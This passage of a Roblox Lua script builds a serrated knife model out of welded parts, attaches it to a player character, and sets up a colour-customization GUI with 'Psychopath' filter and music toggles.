Enum.SurfaceType.SmoothNoOutlines obj6.Anchored = true obj6.BrickColor = BrickColor.new("Black") obj6.Friction = 0.30000001192093 obj6.Shape = Enum.PartType.Cylinder obj6.Name = "handleguardcap1" obj6.Parent = obj1 -- 7 - handleguardcap2 local obj7 = Instance.new("Part") obj7.CFrame = CFrame.new(Vector3.new(19.9474983, 5.97502899, -134.399918)) * CFrame.Angles(-3.1415927410126, 0, -3.1415927410126) obj7.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj7.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj7.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj7.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj7.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj7.Material = Enum.Material.Concrete obj7.Size = Vector3.new(0.100000009, 0.349999994, 0.349999994) obj7.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj7.Anchored = true obj7.BrickColor = BrickColor.new("Black") obj7.Friction = 0.30000001192093 obj7.Shape = Enum.PartType.Cylinder obj7.Name = "handleguardcap2" obj7.Parent = obj1 -- 8 - big ass knife local obj8 = Instance.new("Part") obj8.CFrame = CFrame.new(Vector3.new(18.4375095, 6.14502859, -134.401321)) * CFrame.Angles(0, 1.5707963705063, 0) obj8.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj8.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj8.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj8.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj8.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj8.Material = Enum.Material.Metal obj8.Size = Vector3.new(0.0500000007, 0.280000001, 0.839999795) obj8.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj8.Anchored = true obj8.BrickColor = BrickColor.new("Lily white") obj8.Friction = 0.30000001192093 obj8.Shape = Enum.PartType.Block obj8.Name = "big ass knife" obj8.Parent = obj1 -- 9 - Mesh local obj9 = Instance.new("BlockMesh") obj9.Scale = Vector3.new(0.5, 1, 1) obj9.Parent = obj8 -- 10 - big ass knife local obj10 = Instance.new("Part") obj10.CFrame = CFrame.new(Vector3.new(19.7425137, 6.14502859, -134.401321)) * CFrame.Angles(0, 1.5707963705063, 0) obj10.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj10.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj10.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj10.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj10.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj10.Material = Enum.Material.Metal obj10.Size = Vector3.new(0.0500000007, 0.280000001, 0.289999962) obj10.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj10.Anchored = true obj10.BrickColor = BrickColor.new("Lily white") obj10.Friction = 0.30000001192093 obj10.Shape = Enum.PartType.Block obj10.Name = "big ass knife" obj10.Parent = obj1 local knife = obj10 -- 11 - Mesh local obj11 = Instance.new("BlockMesh") obj11.Scale = Vector3.new(0.5, 1, 1) obj11.Parent = obj10 -- 12 - big ass knife local obj12 = Instance.new("Part") obj12.CFrame = CFrame.new(Vector3.new(19.1075306, 6.08502865, -134.401321)) * CFrame.Angles(0, 1.5707963705063, 0) obj12.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj12.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj12.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj12.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj12.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj12.Material = Enum.Material.Metal obj12.Size = Vector3.new(0.0500000007, 0.159999996, 0.979999959) obj12.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj12.Anchored = true obj12.BrickColor = BrickColor.new("Lily white") obj12.Friction = 0.30000001192093 obj12.Shape = Enum.PartType.Block obj12.Name = "big ass knife" obj12.Parent = obj1 -- 13 - Mesh local obj13 = Instance.new("BlockMesh") obj13.Scale = Vector3.new(0.5, 1, 1) obj13.Parent = obj12 -- 14 - serration local obj14 = Instance.new("WedgePart") obj14.CFrame = CFrame.new(Vector3.new(19.4963322, 6.15381575, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj14.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj14.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj14.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj14.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj14.Material = Enum.Material.Metal obj14.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj14.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj14.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj14.Anchored = true obj14.BrickColor = BrickColor.new("Lily white") obj14.Friction = 0.30000001192093 obj14.Name = "serration" obj14.Parent = obj1 -- 15 - Mesh local obj15 = Instance.new("BlockMesh") obj15.Scale = Vector3.new(0.5, 1, 1) obj15.Parent = obj14 -- 16 - serration local obj16 = Instance.new("WedgePart") obj16.CFrame = CFrame.new(Vector3.new(19.2763138, 6.15381575, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj16.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj16.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj16.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj16.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj16.Material = Enum.Material.Metal obj16.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj16.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj16.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj16.Anchored = true obj16.BrickColor = BrickColor.new("Lily white") obj16.Friction = 0.30000001192093 obj16.Name = "serration" obj16.Parent = obj1 -- 17 - Mesh local obj17 = Instance.new("BlockMesh") obj17.Scale = Vector3.new(0.5, 1, 1) obj17.Parent = obj16 -- 18 - serration local obj18 = Instance.new("WedgePart") obj18.CFrame = CFrame.new(Vector3.new(19.3863068, 6.15381575, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj18.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj18.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj18.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj18.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj18.Material = Enum.Material.Metal obj18.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj18.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj18.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj18.Anchored = true obj18.BrickColor = BrickColor.new("Lily white") obj18.Friction = 0.30000001192093 obj18.Name = "serration" obj18.Parent = obj1 -- 19 - Mesh local obj19 = Instance.new("BlockMesh") obj19.Scale = Vector3.new(0.5, 1, 1) obj19.Parent = obj18 -- 20 - serration local obj20 = Instance.new("WedgePart") obj20.CFrame = CFrame.new(Vector3.new(19.5963173, 6.15381575, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj20.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj20.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj20.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj20.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj20.Material = Enum.Material.Metal obj20.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj20.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj20.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj20.Anchored = true obj20.BrickColor = BrickColor.new("Lily white") obj20.Friction = 0.30000001192093 obj20.Name = "serration" obj20.Parent = obj1 -- 21 - Mesh local obj21 = Instance.new("BlockMesh") obj21.Scale = Vector3.new(0.5, 1, 1) obj21.Parent = obj20 -- 22 - serration local obj22 = Instance.new("WedgePart") obj22.CFrame = CFrame.new(Vector3.new(19.1663074, 6.15381575, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj22.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj22.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj22.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj22.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj22.Material = Enum.Material.Metal obj22.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj22.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj22.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj22.Anchored = true obj22.BrickColor = BrickColor.new("Lily white") obj22.Friction = 0.30000001192093 obj22.Name = "serration" obj22.Parent = obj1 -- 23 - Mesh local obj23 = Instance.new("BlockMesh") obj23.Scale = Vector3.new(0.5, 1, 1) obj23.Parent = obj22 -- 24 - serration local obj24 = Instance.new("WedgePart") obj24.CFrame = CFrame.new(Vector3.new(18.9663048, 6.15381575, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj24.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj24.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj24.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj24.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj24.Material = Enum.Material.Metal obj24.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj24.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj24.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj24.Anchored = true obj24.BrickColor = BrickColor.new("Lily white") obj24.Friction = 0.30000001192093 obj24.Name = "serration" obj24.Parent = obj1 -- 25 - Mesh local obj25 = Instance.new("BlockMesh") obj25.Scale = Vector3.new(0.5, 1, 1) obj25.Parent = obj24 -- 26 - serration local obj26 = Instance.new("WedgePart") obj26.CFrame = CFrame.new(Vector3.new(18.8562984, 6.15381575, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj26.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj26.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj26.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj26.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj26.Material = Enum.Material.Metal obj26.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj26.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj26.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj26.Anchored = true obj26.BrickColor = BrickColor.new("Lily white") obj26.Friction = 0.30000001192093 obj26.Name = "serration" obj26.Parent = obj1 -- 27 - Mesh local obj27 = Instance.new("BlockMesh") obj27.Scale = Vector3.new(0.5, 1, 1) obj27.Parent = obj26 -- 28 - serration local obj28 = Instance.new("WedgePart") obj28.CFrame = CFrame.new(Vector3.new(19.0663071, 6.15381575, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj28.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj28.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj28.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj28.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj28.Material = Enum.Material.Metal obj28.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj28.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj28.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj28.Anchored = true obj28.BrickColor = BrickColor.new("Lily white") obj28.Friction = 0.30000001192093 obj28.Name = "serration" obj28.Parent = obj1 -- 29 - Mesh local obj29 = Instance.new("BlockMesh") obj29.Scale = Vector3.new(0.5, 1, 1) obj29.Parent = obj28 -- 30 - knifetip1 local obj30 = Instance.new("WedgePart") obj30.CFrame = CFrame.new(Vector3.new(18.0163059, 6.14381599, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj30.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj30.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj30.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj30.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj30.Material = Enum.Material.Metal obj30.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003) obj30.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj30.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj30.Anchored = true obj30.BrickColor = BrickColor.new("Lily white") obj30.Friction = 0.30000001192093 obj30.Name = "knifetip1" obj30.Parent = obj1 -- 31 - Mesh local obj31 = Instance.new("BlockMesh") obj31.Scale = Vector3.new(0.5, 1, 1) obj31.Parent = obj30 -- 32 - redstuff local obj32 = Instance.new("Part") obj32.CFrame = CFrame.new(Vector3.new(19.9470005, 5.9749999, -134.399994)) * CFrame.Angles(-0, 0, -0) obj32.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj32.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj32.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj32.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj32.Material = Enum.Material.SmoothPlastic obj32.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj32.Size = Vector3.new(0.0500000007, 0.360000014, 0.360000014) obj32.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj32.BrickColor = BrickColor.new("Institutional white") obj32.Friction = 0.30000001192093 obj32.Shape = Enum.PartType.Cylinder obj32.Name = "redstuff" obj32.Anchored = true obj32.Parent = obj1 -- 33 - redstuff local obj33 = Instance.new("Part") obj33.CFrame = CFrame.new(Vector3.new(18.9800053, 6.1400156, -134.404984)) * CFrame.Angles(-0, 0, -0) obj33.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj33.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj33.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj33.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj33.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj33.Material = Enum.Material.SmoothPlastic obj33.Size = Vector3.new(1.81999993, 0.100000001, 0.0500000007) obj33.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj33.BrickColor = BrickColor.new("Institutional white") obj33.Friction = 0.30000001192093 obj33.Shape = Enum.PartType.Block obj33.Name = "redstuff" obj33.Anchored = true obj33.Parent = obj1 -- 34 - redstuff local obj34 = Instance.new("Part") obj34.CFrame = CFrame.new(Vector3.new(19.9470005, 6.32499981, -134.399994)) * CFrame.Angles(-0, 0, -0) obj34.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj34.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj34.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj34.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj34.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj34.Size = Vector3.new(0.0500000007, 0.360000014, 0.360000014) obj34.Material = Enum.Material.SmoothPlastic obj34.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj34.BrickColor = BrickColor.new("Institutional white") obj34.Friction = 0.30000001192093 obj34.Shape = Enum.PartType.Cylinder obj34.Name = "redstuff" obj34.Anchored = true obj34.Parent = obj1 -- 35 - redstuff local obj35 = Instance.new("Part") obj35.CFrame = CFrame.new(Vector3.new(19.8830166, 6.14501476, -134.399963)) * CFrame.Angles(-0, 0, -0) obj35.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj35.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj35.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj35.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj35.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj35.Size = Vector3.new(0.0500000007, 0.319999993, 0.319999993) obj35.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj35.BrickColor = BrickColor.new("Institutional white") obj35.Friction = 0.30000001192093 obj35.Shape = Enum.PartType.Cylinder obj35.Material = Enum.Material.SmoothPlastic obj35.Name = "redstuff" obj35.Anchored = true obj35.Parent = obj1 -- 36 - redstuff local obj36 = Instance.new("Part") obj36.CFrame = CFrame.new(Vector3.new(20.9430103, 6.14501476, -134.399963)) * CFrame.Angles(-0, 0, -0) obj36.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj36.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj36.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj36.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj36.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj36.Material = Enum.Material.SmoothPlastic obj36.Size = Vector3.new(0.0500000007, 0.25999999, 0.25999999) obj36.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj36.BrickColor = BrickColor.new("Institutional white") obj36.Friction = 0.30000001192093 obj36.Shape = Enum.PartType.Cylinder obj36.Name = "redstuff" obj36.Anchored = true obj36.Parent = obj1 -- 37 - redstuff local obj37 = Instance.new("WedgePart") obj37.CFrame = CFrame.new(Vector3.new(18.066288, 6.14381599, -134.400375)) * CFrame.Angles(1.5707963705063, -0.78539824485779, -1.5707963705063) obj37.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj37.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj37.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj37.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj37.Material = Enum.Material.SmoothPlastic obj37.Size = Vector3.new(0.0500000007, 0.0700000003, 0.0700000003) obj37.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj37.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj37.Anchored = true obj37.BrickColor = BrickColor.new("Institutional white") obj37.Friction = 0.30000001192093 obj37.Name = "redstuff" obj37.Anchored = true obj37.Parent = obj1 -- 38 - redstuff local obj38 = Instance.new("Part") obj38.CFrame = CFrame.new(Vector3.new(20.1230125, 6.14501476, -134.399979)) * CFrame.Angles(-0, 0, -0) obj38.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj38.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj38.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj38.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj38.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj38.Material = Enum.Material.SmoothPlastic obj38.Size = Vector3.new(0.0500000007, 0.25999999, 0.25999999) obj38.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj38.BrickColor = BrickColor.new("Institutional white") obj38.Friction = 0.30000001192093 obj38.Shape = Enum.PartType.Cylinder obj38.Name = "redstuff" obj38.Anchored = true obj38.Parent = obj1 local audio = Instance.new('Sound',knife) audio.Volume = 2 local audio2 = Instance.new('Sound',knife) audio2.Volume = 2 local holdpart = Instance.new("Part") holdpart.Parent = me holdpart.Size = Vector3.new(0.4, 0.4, 0.2) holdpart.Position = me.Head.Position + Vector3.new(0, 1, 0) holdpart.BrickColor = BrickColor.new("Burnt Sienna") local previous = nil for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then if previous then local weld = Instance.new('Weld',v) weld.Part0 = v weld.Part1 = previous weld.C0 = v.CFrame:inverse() * previous.CFrame previous.Anchored = false previous.CanCollide = false local vee = v weld.AncestryChanged:connect(function(mez,par) wait() weld.Parent = vee end) end previous = v end end previous.Anchored = false previous.CanCollide = false local holdpartweld = Instance.new("Weld", me.Torso) holdpartweld.Part0 = me.Torso holdpartweld.Part1 = holdpart holdpartweld.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(-1, -0.8, 0.15) holdpartweld.AncestryChanged:connect(function(mez,par) if par ~= me.Torso then wait() holdpartweld.Parent = me.Torso end end) local knifeweld = Instance.new('Weld',me.Torso) knifeweld.Part0 = me.Torso knifeweld.Part1 = obj2 knifeweld.C1 = CFrame.Angles(0,math.rad(90),0) * CFrame.new(1, 0.8, 0.55) knifeweld.AncestryChanged:connect(function(mez,par) if par ~= me.Torso then wait() knifeweld.Parent = me.Torso end end) local ScreenGui = Instance.new("ScreenGui") local CustomizeGui = Instance.new("Frame") local Customize = Instance.new("TextLabel") local ClosestColor = Instance.new("TextLabel") local Line = Instance.new("TextLabel") local Color = Instance.new("ImageLabel") local Close = Instance.new("TextButton") local RedHue = Instance.new("TextLabel") local GreenHue = Instance.new("TextLabel") local RedInput = Instance.new("TextBox") local BlueHue = Instance.new("TextLabel") local GreenInput = Instance.new("TextBox") local TransInput = Instance.new("TextBox") local BlueInput = Instance.new("TextBox") local Message = Instance.new("TextLabel") local Message2 = Instance.new("TextLabel") local TrailTransparency = Instance.new("TextLabel") local TrailInput = Instance.new("TextBox") local MusicOption = Instance.new("TextButton") local ScreenOption = Instance.new("TextButton") local ScreenOptionTxt = Instance.new("TextLabel") local MusicOptionTxt = Instance.new("TextLabel") -- Properties ScreenGui.Parent = playergui CustomizeGui.Name = "CustomizeGui" CustomizeGui.Parent = ScreenGui CustomizeGui.BackgroundColor3 = Color3.new(0.294118, 0.294118, 0.294118) CustomizeGui.BackgroundTransparency = 0.5 CustomizeGui.BorderColor3 = Color3.new(0, 0, 0) CustomizeGui.BorderSizePixel = 2 CustomizeGui.Position = UDim2.new(0, 0, 0.5, 0) CustomizeGui.Size = UDim2.new(0.449999988, 0, 0.449999988, 0) Customize.Name = "Customize" Customize.Parent = CustomizeGui Customize.BackgroundColor3 = Color3.new(0.294118, 0.294118, 0.294118) Customize.BackgroundTransparency = 0.75 Customize.BorderSizePixel = 0 Customize.Size = UDim2.new(1, 0, 0.200000003, 0) Customize.FontSize = Enum.FontSize.Size28 Customize.Text = "ACCENT COLOR CUSTOMIZATION" Customize.TextColor3 = Color3.new(1, 1, 1) Customize.TextScaled = true Customize.TextSize = 25 Customize.TextStrokeTransparency = 0.5 Customize.TextWrapped = true ClosestColor.Name = "ClosestColor" ClosestColor.Parent = CustomizeGui ClosestColor.BackgroundColor3 = Color3.new(1, 1, 1) ClosestColor.BackgroundTransparency = 1 ClosestColor.Position = UDim2.new(0, 0, 0.850000024, 0) ClosestColor.Size = UDim2.new(1, 0, 0.150000006, 0) ClosestColor.Font = Enum.Font.SourceSansLight ClosestColor.FontSize = Enum.FontSize.Size32 ClosestColor.Text = "Your color is closest to Institutional White" ClosestColor.TextColor3 = Color3.new(1, 1, 1) ClosestColor.TextSize = 30 ClosestColor.TextStrokeTransparency = 0.5 Line.Name = "Line" Line.Parent = CustomizeGui Line.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) Line.BackgroundTransparency = 0.5 Line.BorderColor3 = Color3.new(0, 0, 0) Line.BorderSizePixel = 0 Line.Position = UDim2.new(0, 0, 0.200000003, 0) Line.Size = UDim2.new(1, 0, 0.0299999993, 0) Line.Font = Enum.Font.SourceSans Line.FontSize = Enum.FontSize.Size14 Line.Text = " " Line.TextSize = 14 Color.Name = "Color" Color.Parent = CustomizeGui Color.BackgroundColor3 = Color3.new(1, 1, 1) Color.BorderSizePixel = 0 Color.Position = UDim2.new(0.699999988, 0, 0.419999987, 0) Color.Size = UDim2.new(0.300000012, 0, 0.300000012, 0) Color.SizeConstraint = Enum.SizeConstraint.RelativeYY MusicOption.Parent = CustomizeGui MusicOption.Name = "MusicOption" MusicOption.BackgroundColor3 = Color3.new(0, 1, 0) MusicOption.BorderSizePixel = 1 MusicOption.Position = UDim2.new(0.01, 0, -0.12, 0) MusicOption.Size = UDim2.new(0.05, 0, 0.1, 0) MusicOption.Text = "" MusicOption.BackgroundTransparency = 0.5 ScreenOption.Parent = CustomizeGui ScreenOption.Name = "ScreenOption" ScreenOption.BackgroundColor3 = Color3.new(0, 1, 0) ScreenOption.BorderSizePixel = 1 ScreenOption.Position = UDim2.new(0.01, 0, -0.23, 0) ScreenOption.Size = UDim2.new(0.05, 0, 0.1, 0) ScreenOption.Text = "" ScreenOption.BackgroundTransparency = 0.5 ScreenOptionTxt.Name = "ScreenOptionTxt" ScreenOptionTxt.Parent = CustomizeGui ScreenOptionTxt.BackgroundColor3 = Color3.new(1, 1, 1) ScreenOptionTxt.BackgroundTransparency = 1 ScreenOptionTxt.Position = UDim2.new(0.07, 0, -0.23, 0) ScreenOptionTxt.Size = UDim2.new(1, 0, 0.07, 0) ScreenOptionTxt.Font = Enum.Font.SourceSans ScreenOptionTxt.FontSize = Enum.FontSize.Size24 ScreenOptionTxt.Text = "Psychopath Red Filter" ScreenOptionTxt.TextColor3 = Color3.new(1, 1, 1) ScreenOptionTxt.TextScaled = true ScreenOptionTxt.TextSize = 20 ScreenOptionTxt.TextStrokeColor3 = Color3.new(0, 0, 0) ScreenOptionTxt.TextStrokeTransparency = 0.5 ScreenOptionTxt.TextWrapped = true ScreenOptionTxt.TextXAlignment = "Left" MusicOptionTxt.Name = "MusicOptionTxt" MusicOptionTxt.Parent = CustomizeGui MusicOptionTxt.BackgroundColor3 = Color3.new(1, 1, 1) MusicOptionTxt.BackgroundTransparency = 1 MusicOptionTxt.Position = UDim2.new(0.07, 0, -0.12, 0) MusicOptionTxt.Size = UDim2.new(1, 0, 0.07, 0) MusicOptionTxt.Font = Enum.Font.SourceSans MusicOptionTxt.FontSize = Enum.FontSize.Size24 MusicOptionTxt.Text = "Psychopath Background Music" MusicOptionTxt.TextColor3 = Color3.new(1, 1, 1) MusicOptionTxt.TextScaled = true MusicOptionTxt.TextSize = 20 MusicOptionTxt.TextStrokeColor3 = Color3.new(0, 0, 0) MusicOptionTxt.TextStrokeTransparency = 0.5 MusicOptionTxt.TextWrapped = true MusicOptionTxt.TextXAlignment = "Left" Close.Name = "Close" Close.Parent = CustomizeGui Close.BackgroundColor3 = Color3.new(0.294118, 0.294118, 0.294118) Close.BackgroundTransparency = 0.5 Close.BorderColor3 = Color3.new(0, 0, 0) Close.BorderSizePixel = 2 Close.Position = UDim2.new(1.005, 0, 0, 0) Close.Size = UDim2.new(0.100000001, 0, 0.2, 0) Close.Font = Enum.Font.SourceSans Close.FontSize = Enum.FontSize.Size14 Close.Text = "X" Close.TextColor3 = Color3.new(1, 1, 1) Close.TextScaled = true Close.TextSize = 14 Close.TextStrokeTransparency = 0 Close.TextWrapped = true RedHue.Name = "RedHue" RedHue.Parent = CustomizeGui RedHue.BackgroundColor3 = Color3.new(1, 1, 1) RedHue.BackgroundTransparency = 1 RedHue.Position = UDim2.new(0.100000001, 0, 0.400000006, 0) RedHue.Size = UDim2.new(0.300000012, 0, 0.100000001, 0) RedHue.Font = Enum.Font.SourceSans RedHue.FontSize = Enum.FontSize.Size24 RedHue.Text = "RED Hue Value: " RedHue.TextColor3 = Color3.new(1, 1, 1) RedHue.TextScaled = true RedHue.TextSize = 20 RedHue.TextStrokeColor3 = Color3.new(1, 0, 0) RedHue.TextStrokeTransparency = 0.75 RedHue.TextWrapped = true GreenHue.Name = "GreenHue" GreenHue.Parent = CustomizeGui GreenHue.BackgroundColor3 = Color3.new(1, 1, 1) GreenHue.BackgroundTransparency = 1 GreenHue.Position = UDim2.new(0.100000001, 0, 0.5, 0) GreenHue.Size = UDim2.new(0.300000012, 0, 0.100000001, 0) GreenHue.Font = Enum.Font.SourceSans GreenHue.FontSize = Enum.FontSize.Size24 GreenHue.Text = "GREEN Hue Value:" GreenHue.TextColor3 = Color3.new(1, 1, 1) GreenHue.TextScaled = true GreenHue.TextSize = 20 GreenHue.TextStrokeColor3 = Color3.new(0, 1, 0) GreenHue.TextStrokeTransparency = 0.75 GreenHue.TextWrapped = true RedInput.Name = "RedInput" RedInput.Parent = CustomizeGui RedInput.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) RedInput.BackgroundTransparency = 0.5 RedInput.BorderSizePixel = 0 RedInput.Position = UDim2.new(0.419999987, 0, 0.425000007, 0) RedInput.Size = UDim2.new(0.200000003, 0, 0.075000003, 0) RedInput.Font = Enum.Font.SourceSans RedInput.FontSize = Enum.FontSize.Size14 RedInput.Text = "255" RedInput.TextColor3 = Color3.new(1, 1, 1) RedInput.TextSize = 14 RedInput.TextStrokeTransparency = 0 BlueHue.Name = "BlueHue" BlueHue.Parent = CustomizeGui BlueHue.BackgroundColor3 = Color3.new(1, 1, 1) BlueHue.BackgroundTransparency = 1 BlueHue.Position = UDim2.new(0.100000001, 0, 0.600000024, 0) BlueHue.Size = UDim2.new(0.300000012, 0, 0.100000001, 0) BlueHue.Font = Enum.Font.SourceSans BlueHue.FontSize = Enum.FontSize.Size24 BlueHue.Text = "BLUE Hue Value:" BlueHue.TextColor3 = Color3.new(1, 1, 1) BlueHue.TextScaled = true BlueHue.TextSize = 20 BlueHue.TextStrokeColor3 = Color3.new(0, 0, 1) BlueHue.TextStrokeTransparency = 0.75 BlueHue.TextWrapped = true TrailTransparency.Name = "TrailTransparency" TrailTransparency.Parent = CustomizeGui TrailTransparency.BackgroundColor3 = Color3.new(1, 1, 1) TrailTransparency.BackgroundTransparency = 1 TrailTransparency.Position = UDim2.new(0.090000001, 0, 0.700000024, 0) TrailTransparency.Size = UDim2.new(0.310000012, 0, 0.100000001, 0) TrailTransparency.Font = Enum.Font.SourceSans TrailTransparency.FontSize = Enum.FontSize.Size24 TrailTransparency.Text = "Trail Transparency:" TrailTransparency.TextColor3 = Color3.new(1, 1, 1) TrailTransparency.TextScaled = true TrailTransparency.TextSize = 20 TrailTransparency.TextStrokeColor3 = Color3.new(0, 0, 0) TrailTransparency.TextWrapped = true GreenInput.Name = "GreenInput" GreenInput.Parent = CustomizeGui GreenInput.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) GreenInput.BackgroundTransparency = 0.5 GreenInput.BorderSizePixel = 0 GreenInput.Position = UDim2.new(0.419999987, 0, 0.524999976, 0) GreenInput.Size = 